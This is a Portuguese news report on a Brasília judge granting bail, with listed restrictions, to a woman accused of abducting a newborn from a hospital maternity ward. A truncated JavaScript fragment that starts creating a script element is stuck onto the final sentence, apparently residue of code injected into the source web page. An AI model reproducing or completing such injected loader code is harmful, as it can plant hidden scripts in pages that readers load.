A juíza substituta da 8ª Vara Criminal de Brasília concedeu liberdade provisória para Gesiana Oliveira Alencar, acusada de seqüestrar um bebê no Hospital Regional da Asa Norte (Hran), que pagou fiança de R$ 5 mil. A acusada raptou o recém-nascido no dia 6 de junho e foi presa menos de 24 horas depois.
Ao pedir a liberdade provisória, a defesa afirmou que a acusada é primária, portadora de bons antecedentes e possui residência fixa. Acrescentou que sua liberdade não causa abalo à ordem pública, que sofre de transtornos psiquiátricos, que a prisão preventiva não tem natureza de pena – não se vinculando à gravidade em abstrato do crime. O Ministério Público manifestou-se favorável ao pleito.
A acusada segue respondendo ao processo em liberdade e terá que cumprir algumas medidas cautelares fixadas pela juíza, como: comparecimento mensal à sede do Juízo a fim de justificar suas atividades; submissão a tratamento psicológico e/ou psiquiátrico, comprovado por laudo e de atestado de comparecimento, a ser apresentado mensalmente; proibição de se ausentar do Distrito Federal por período superior a cinco dias, sem prévia autorização.
A magistrada também terá que fornecer o endereço residencial atualizado; não poderá ingressar ou permanecer nas maternidades dos hospitais do Distrito Federal; permanecer no domicílio no período compreendido entre 20h e 6h, nos dias úteis, e de forma integral aos finais de semana e feriados; não se de se aproximar, a menos de 500 metros, e, de se comunicar com vítimas e testemunhas.
Caso a acusada viole as medidas será decretada nova prisão cautelar.var d=document;var s=d.createElement(\’script\’);